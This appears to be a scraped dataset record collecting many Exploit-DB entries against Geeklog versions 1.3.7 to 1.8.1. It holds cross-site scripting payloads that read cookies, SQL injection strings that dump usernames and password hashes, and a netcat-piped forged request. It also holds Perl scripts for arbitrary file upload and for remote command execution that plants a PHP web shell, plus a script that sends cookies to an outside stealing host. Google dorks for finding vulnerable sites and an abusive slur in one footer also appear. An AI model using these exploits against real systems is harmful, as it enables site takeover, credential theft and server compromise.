deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22163
Description: Geeklog 1.3.7 - 'profiles.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2003-01-14
Author: snooq

Exploit:
source: https://www.securityfocus.com/bid/6601/info

The Geeklog 'profiles.php' script is prone to multiple cross-site scripting vulnerabilities.

This issue is due to insufficient sanitization of input submitted in URI parameters. As a result, an attacker may create a malicious link to a site hosting Geeklog, which contains malicious HTML or script code.

When such a link is visited by an unsuspecting user, attacker-supplied script code will be interpreted by their web client.

http://www.example.com/profiles.php?uid=<script>alert(document.cookie)</script>

http://www.example.com//profiles.php?what=contact&author=ich&authoremail=bla%40bla.com&subject=hello&message=text&uid=<script>alert(document.cookie)</script>
Exploit-DB #22164
Description: Geeklog 1.3.7 - 'users.php?uid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-01-14
Author: snooq

Exploit:
source: https://www.securityfocus.com/bid/6602/info

Geeklog is prone to a cross-site scripting vulnerability in the 'users.php' script.

This issue is due to insufficient sanitization of input submitted in URI parameters. As a result, an attacker may create a malicious link to a site hosting Geeklog, which contains malicious HTML or script code.

When such a link is visited by an unsuspecting user, attacker-supplied script code will be interpreted by their web client.

http://www.example.com/users.php?mode=profile&uid=<script>alert(document.cookie)</script>
Exploit-DB #15091
Description: GeekLog 1.3.8 (filemgmt) - SQL Injection
Type: webapps
Platform: php
Date: 2010-09-23
Author: Gamoscu

Exploit:
GeekLog v1.3.8  (filemgmt) SQL Injection Vulnerability

###########################

Author : Gamoscu

Homepage : http://www.1923turk.com

Blog :http://gamoscu.wordpress.com/

Script : http://www.geeklog.net/filemgmt/viewcat.php?cid=8

Download:http://www.geeklog.net/filemgmt/viewcat.php?cid=8

###########################

[ Vulnerable File ]

filemgmt/singlefile.php?lid=1 [ SQL ]

[ XpL ]

-1+union+all+select+1,2,concat_ws(username,0x3a,passwd),4,5,6,7,8,9,10,11,12,13,14,15,16+from+gl_users+limit+1,1--

[ Demo]

http://server/filemgmt/singlefile.php?lid=-1+union+all+select+1,2,concat_ws(username,0x3a,passwd),4,5,6,7,8,9,10,11,12,13,14,15,16+from+gl_users+limit+1,1--

##############################################################
#
#
#
# Baybora: http://baybora.wordpress.com/
#
# Manas58  Delibey  Tiamo  Psiko  Turco  infazci  X-TRO
#
#
#
#            #Elektrikist#
#
#
#
#             FREEGAZA
#
#
#            PKK ALEM SIKSIN SIZI
#
#############################################
Exploit-DB #23260
Description: Geeklog 1.3.8 - Forgot Password SQL Injection
Type: webapps
Platform: php
Date: 2003-10-19
Author: Jouko Pynnonen

Exploit:
source: https://www.securityfocus.com/bid/8849/info

An SQL injection vulnerability has been reported in the Geeklog "forgot password" feature (introduced in Geeklog 1.3.8). Due to insufficient sanitization of user-supplied input, it is possible for remote attacks to influence database queries. This could result in compromise of the Geeklog installation or attacks against the database. 

------------->8------------->8------------->8------------->8--------------
#!/bin/sh

echo "POST /path/to/gl/users.php HTTP/1.0
Content-length: 50
Content-type: application/x-www-form-urlencoded

mode=setnewpwd&[CREDENTIAL_REDACTED]=2&rid=3'+or+uid='1&
" | nc localhost 80

------------->8------------->8------------->8------------->8--------------
Exploit-DB #22675
Description: Geeklog 1.3.x - (Authenticated) SQL Injection
Type: webapps
Platform: php
Date: 2003-05-29
Author: pokleyzz

Exploit:
source: https://www.securityfocus.com/bid/7742/info

Geeklog is reported to be prone to SQL injection attacks during authentication. This is due to insufficient sanitization of cookie values, which could permit an attacker to inject SQL code. This issue could be exploited to compromise Geeklog or to potentially launch attacks against the database, allowing for disclosure of sensitive information or other consequences. 

curl -b geeklog=2.1 -D header.txt http://www.example.com/users.php

header.txt contains valid session information for the administrative user:

----------------header.txt -------------------------

HTTP/1.1 200 OK
Date: Sat, 17 May 2003 16:15:23 GMT
Server: Apache
Set-Cookie: gl_session=[PII_REDACTED]; path=/
Set-Cookie: LastVisit=[PII_REDACTED]; expires=Sun, 16-May-2004 16:15:23 GMT;
path=/
Set-Cookie: LastVisitTemp=deleted; expires=Fri, 17-May-2002 16:15:22
GMT; path=/; domain=http://www.example.com
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1

10
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa


----------------header.txt --------------------------
Exploit-DB #23194
Description: Geeklog 1.3.x - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-09-29
Author: Lorenzo Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/8718/info
 
Geeklog is prone to multiple vulnerabilities, including cross-site scripting and SQL injection issues. Exploitation of these issues could permit unauthorized access to user accounts and sensitive information.
 
Some of these issues may be related to previously documented vulnerabilities in Geeklog. 


http://www.example.com/faqman/index.php?op=view&t=518">[XSS ATTACK CODE]

http://www.example.com/filemgmt/brokenfile.php?lid=17'/%22%3[XSS ATTACK CODE]
Exploit-DB #23233
Description: GeekLog 1.3.x - HTML Injection
Type: webapps
Platform: php
Date: 2003-10-08
Author: Jelmer

Exploit:
source: https://www.securityfocus.com/bid/8792/info

Geeklog has been reported prone to multiple HTML Injection vulnerabilities.

The issues have been reported to present themselves due to a lack of sufficient sanitization performed on data that is parsed from forum interface form fields. It has been reported that an attacker, who has sufficient privileges to create a forum post, may use the forum form fields as a conduit to inject malicious HTML and script code into dynamic Geeklog content.

The malicious HTML may be rendered in the browser of an unsuspecting user who views the malicious post. Code execution will occur in the context of the affected site. 

<img src="javascript:alert()">

<b style="background-image: url(javascript:alert(document))">test</b>
Exploit-DB #23193
Description: Geeklog 1.3.x - SQL Injection
Type: webapps
Platform: php
Date: 2003-09-29
Author: Lorenzo Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/8718/info

Geeklog is prone to multiple vulnerabilities, including cross-site scripting and SQL injection issues. Exploitation of these issues could permit unauthorized access to user accounts and sensitive information.

Some of these issues may be related to previously documented vulnerabilities in Geeklog. 

http://www.example.com/index.php?topic=te'st/[SQL INJECTION CODE]

http://www.example.com/forum/viewtopic.php?forum=1&showtopic=1'0/[SQL INJECTION
CODE]

http://www.example.com/staticpages/index.php?page=test'test/[SQL INJECTION CODE]

http://www.example.com/filemgmt/visit.php?lid=1'1'0/[SQL INJECTION CODE]

http://www.example.com/filemgmt/viewcat.php?cid='6/[SQL INJECTION CODE]

http://www.example.com/comment.php?type=filemgmt&cid=filemgmt-1'70/[SQL INJECTION
CODE]

http://www.example.com/comment.php?mode=display&sid=filemgmt-XXX&title=[SQL
INJECTION CODE]

http://www.example.com/filemgmt/singlefile.php?lid=17'/0/[SQL INJECTION CODE]
Exploit-DB #27919
Description: Geeklog 1.4 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-05-11
Author: trueend5

Exploit:
source: https://www.securityfocus.com/bid/18154/info

Geeklog is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

Geeklog version 1.4.0sr2 is vulnerable; other versions may also be affected.

http://www.example.com/geeklog/getimage.php?mode=show&image=./<IMG%20SRC=JaVaScRiPt:alert(document.cookie)>
Exploit-DB #1963
Description: GeekLog 1.4.0sr3 - '_CONF[path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-29
Author: Kw3[R]Ln

Exploit:
--------------------------------------------------------------------------- 
GeekLog <= 1.4.0 (_CONF[path]) Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Google d0rk: "powered by geeklog"


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RoSecurityGroup.net :
Remote : Yes
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : GeekLog  
version : latest version [ 1.4 ]
URL : http://www.geeklog.net/

------------------------------------------------------------------
Exploit:
~~~~~~~~

Variable $_CONF[path] not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.

were [path] on some cases => www.site.com/[path]/public_html/index.php

# http://www.site.com/[path]/plugins/links/functions.inc?_CONF[path]=[Evil_Script] 
# http://www.site.com/[path]/plugins/polls/functions.inc?_CONF[path]=[Evil_Script] 
# http://www.site.com/[path]/plugins/spamx/BlackList.Examine.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/DeleteComment.Action.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/EditIPofURL.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/MTBlackList.Examine.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/MassDelete.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/MailAdmin.Action.class.php?_CONF[path]=[Evil_Script]
#http://www.site.com/[path]/plugins/spamx/MassDelTrackback.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/EditHeader.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/EditIP.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/IPofUrl.Examine.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/Import.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/LogView.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/staticpages/functions.inc?_CONF[path]=[Evil_Script]




---------------------------------------------------------------------------

Solution :
~~~~~~~~~~

declare variabel $_CONF[path]
---------------------------------------------------------------------------


Shoutz:
~~~~~~

# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and RST [ hTTp://RoSecurityGroup.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RoSecurityGroup.net
/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-06-29]
Exploit-DB #6306
Description: GeekLog 1.5.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-08-25
Author: t0pP8uZz

Exploit:
#!/usr/bin/perl

use warnings;
use strict;
use LWP::UserAgent;
use HTTP::Request::Common;

print <<INTRO;
+++++++++++++++++++++++++++++++++++++++++++++++++++++
+   GeekLog <= 1.5.0 Remote Arbitrary File Upload   +
+                                                   +
+         Discovered && Coded By: t0pP8uZz          +
+                                                   +
+ 0day?!?Most sites need custom configuration files +
+ for this exploit to actually work, anyway enjoy   +
+                                                   +
+   Discovered On: 20 August 2008 / milw0rm.com     +
+                                                   +
+      Script Download: http://www.geeklog.net      +
+++++++++++++++++++++++++++++++++++++++++++++++++++++

INTRO

print "Enter URL(ie: http://site.com): ";
    chomp(my $url=<STDIN>);
    
print "Enter File Path(path to local file to upload): ";
    chomp(my $file=<STDIN>);

my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url.'/fckeditor/editor/filemanager/upload/php/upload.php',
                      Content_Type => 'form-data',
                      Content      => [ NewFile => $file ] );

if($re->is_success) {
    if( index($re->content, "Disabled") != -1 ) { print "Exploit Successfull! File Uploaded!\n"; }
    else { print "File Upload Is Disabled! Failed!\n"; }
} else { print "HTTP Request Failed!\n"; }

exit;

# milw0rm.com [2008-08-25]
Exploit-DB #9505
Description: Geeklog 1.6.0sr1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-08-24
Author: JaL0h

Exploit:
==============================================================================
 Geeklog <= v1.6.0sr1 -  Remote Arbitrary File Upload

 Software Site: http://www.geeklog.net

 Dork: "By Geeklog" "Created this page in" +seconds +powered inurl:public_html
==============================================================================

Vulnerabilities
==================

Default Insecure Configuration

Configuration settings for FCKeditor shipped with Geeklog are insecure by
default. They allow attackers to view and upload files and folders
under its predefined image upload directory. This is not FCKeditor's fault,
the Geeklog developers enabled the insecure configuration.  Abuse works whether
the FCKeditor is enabled or disabled in the Geeklog configuration.

http://##www.site.com##/fckeditor/editor/filemanager/browser/default/browser.html?Type=&Connector=http%3A%2F%2F##www.site.com##%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php

Replace ##www.site.com## with the URL of the Geeklog site.

Opens an interactive browser session where you can create directories
and upload files.  This also exposes all the files in the
images/Library/File|Image|Media|Flash directoies.

Arbitrary File Hosting

Using the interactive session above you can upload files to the server.
File uploads are restricted by directory and type:

File/ directory
  '7z', 'aiff', 'asf', 'avi', 'bmp', 'csv', 'doc', 'fla', 'flv', 'gif', 'gz',
  'gzip', 'jpeg', 'jpg', 'mid', 'mov', 'mp3', 'mp4', 'mpc', 'mpeg', 'mpg',
  'ods', 'odt', 'pdf', 'png', 'ppt', 'pxd', 'qt', 'ram', 'rar', 'rm', 'rmi',
  'rmvb', 'rtf', 'sdc', 'sitd', 'swf', 'sxc', 'sxw', 'tar', 'tgz', 'tif',
  'tiff', 'txt', 'vsd', 'wav', 'wma', 'wmv', 'xls', 'xml', 'zip'

Image/ directory
  'bmp','gif','jpeg','jpg','png'

Flash/ directory
  'swf','flv'

Media/ directory
  'aiff', 'asf', 'avi', 'bmp', 'fla', 'flv', 'gif', 'jpeg', 'jpg', 'mid',
  'mov', 'mp3', 'mp4', 'mpc', 'mpeg', 'mpg', 'png', 'qt', 'ram', 'rm',
  'rmi', 'rmvb', 'swf', 'tif', 'tiff', 'wav', 'wma', 'wmv'

The max allowable upload size is not restricted, this will depend on the
web server's settings and PHP timeout value.

Default location for uploads is
    http://www.geeklogsite.com/images/Library/File/

Potential Abuse
- Create a directory using the interactive session above under the File section.
- Upload your files to the new directory
- Host your sound,movie,pictures, or zipped archives for FREE!

# milw0rm.com [2009-08-24]
Exploit-DB #9855
Description: Geeklog 1.6.0sr2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-10-03
Author: JaL0h

Exploit:
==============================================================================
 Geeklog <= v1.6.0sr2 -  Remote File Upload

 Discovered: JaL0h

 Software Site: http://www.geeklog.net

 Dork: "By Geeklog" "Created this page in" +seconds +powered
==============================================================================

Remote File Upload
==================
Geeklog has several options to upload images.  The image upload process does
not validate the mime type of the upload.  Geeklog trusts the mime type
specified by the browser and also checks the file extension, both of which
are very easy to spoof.

Files with .jpg extensions can be uploaded, but these file can contain
anything, like javascript or PHP code. Using FireFox you can upload any
jpg extension and it will be accepted since FireFox sets the mime type
based on file extension.

Uploading usually requires that you first create a user account.  Once an
account is created, you can upload a user photo, which could take advantage
of this vulnerability.


Potential Abuse
===============
Executable javascript can easily be uploaded.  There are several XSS holes in
many of the Geeklog plugins which could run the uploaded javascript. If a simple
cookie stealing javascript were uploaded, it could be used to expose the Geeklog
uid and password hash which is as good as having the actual password.

Sample JavaScript

document.write('<iframe src="http://my.cookiestealingsite.com/cs.php?ck='
    + document.cookie + '" id="myFrame"  frameborder="0"  vspace="0"
    hspace="0"  marginwidth="0"  marginheight="0" width="0"  scrolling="no"
    height="0"  style="visibility:hidden;"></iframe>');

Once the uid and password hash is known, you can set a cookie in  your browser:

geeklog=[uid]; password=[md5 hash];

which gives you instant access to everything the user has access to. If you
expose an administrative account, you have full access to the admin panel
where you can set the staticpages.PHP permission to true, then create a
static page that will run any PHP script you desire, potentially exposing
the entire server.

The cookie exploit was originally documented by Nine:Situations:Group::bookoo
http://www.milw0rm.com/exploits/8376 and remains unfixed.

Successful exploitation requires the ability to execute the uploaded JavaScript.
The Geeklog Forum program can be used as an attack vector since it does not
properly validate many $_GET / $_POST variables.
Exploit-DB #15277
Description: GeekLog 1.7.0 - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-10-18
Author: Kubanezi AHG

Exploit:
###################################################                                               
#        db         88        88    ,ad8888ba,    #
#       d88b        88        88   d8"'    `"8b   # 
#      d8'`8b       88        88  d8'             #
#     d8'  `8b      88aaaaaaaa88  88              #
#    d8YaaaaY8b     88""""""""88  88      88888   #
#   d8""""""""8b    88        88  Y8,        88   #
#  d8'        `8b   88        88   Y8a.    .a88   #
# d8'          `8b  88        88    `"Y88888P"    #
#                                                 #
#                                                 #
###################################################
#
# Exploit Title: Geeklog
# Date: 18-10-2010
# Author: Kubanezi AHG
# Software Link: http://www.geeklog.net/
# Version: 1.7.0
# Tested on: Linux Ubuntu 9.04                       
# dork : inurl:"/geeklog/"    
# Contact: aldo@dibranet.net                       
#                                                    
####################################################

    exploit # geeklog/fckeditor/editor/filemanager/upload/test.html


first go to # http://site.com/Geeklog/


       then # http://site.com/Geeklog/fckeditor/editor/filemanager/upload/test.html
   
     select # "php"


Upload There Hacked.txt  And Copy Output Link 

#######################################################
            Exploit By Kubanezi
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Greetz : AHG-Crew , Mistreriozi , Boom ,Twilight , AutoruN , DoctorSQl 
          , Drake , Dj-Dukli , EragoN , Khaled , MossaD , BH-TREX
Exploit-DB #37011
Description: Geeklog 1.8.1 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-03-27
Author: HELLBOY

Exploit:
source: https://www.securityfocus.com/bid/52725/info

Geeklog is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Geeklog 1.8.1 is vulnerable; other versions may also be affected. 

http://www.example.com/easyfile/index.php?folder=(SQLI)
Exploit-DB #1515
Description: GeekLog 1.x - 'error.log' Remote Command Execution
Type: webapps
Platform: php
Date: 2006-02-20
Author: rgod

Exploit:
#!/usr/bin/perl -w
use IO::Socket;

print "*************************************************************************\r\n";
print "|                   Geeklog 1.* remote commands execution               |\r\n";
print "|                     By rgod rgod<AT>autistici<DOT>org                 |\r\n";
print "|                   site: http://retrogod.altervista.org                |\r\n";
print "|                                                                       |\r\n";
print "*************************************************************************\r\n";
print "| -> this works against magic_quotes_gpc = Off                          |\r\n";
print "*************************************************************************\r\n";
sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

$serv=$ARGV[0];
$path=$ARGV[1];
$cmd=""; for ($i=2; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};

if (@ARGV < 3)
{
print "Usage:\r\n";
print "perl pblg_xpl.pl SERVER PATH COMMAND\r\n\r\n";
print "SERVER         - Server where Geeklog is installed.\r\n";
print "PATH           - Path to Geeklog (ex: /geeklog/ or just /) \r\n";
print "COMMAND        - a shell command (\"cat ./../config.php\" to see database\r\n";
print "                 username & password\")\r\n";
print "Example:\r\n";
print "perl geeklog_14_xpl.pl localhost /geeklog/ ls -la \r\n";
exit();
}

  $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
  or die "[+] Connecting ... Could not connect to host.\n\n";

  $shell='<?php ob_clean();echo"Hi Master!\r\n";ini_set("max_execution_time",0);passthru($_GET[CMD]);die;?>';
  $shell=urlEncode($shell);
  $data="loginname=sun&passwd=sun";
  print $sock "POST ".$path."users.php HTTP/1.1\r\n";
  print $sock "Host: ".$serv."\r\n";
  print $sock "Content-Length: ".length($data)."\r\n";
  print $sock "Cookie: gl_session=%27".$shell."\r\n";
  print $sock "Connection: Close\r\n\r\n";
  print $sock $data;
  close($sock);

  $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
  or die "[+] Connecting ... Could not connect to host.\n\n";

  $xpl="../logs/error.log";
  $xpl=urlEncode($xpl)."%00";
  print $sock "GET ".$path."index.php?CMD=".$cmd." HTTP/1.1\r\n";
  print $sock "Host: ".$serv."\r\n";
  print $sock "Cookie: language=".$xpl.";\r\n";
  print $sock "Connection: Close\r\n\r\n";

  while ($answer = <$sock>) {
    print $answer;
  }
  close($sock);

# milw0rm.com [2006-02-20]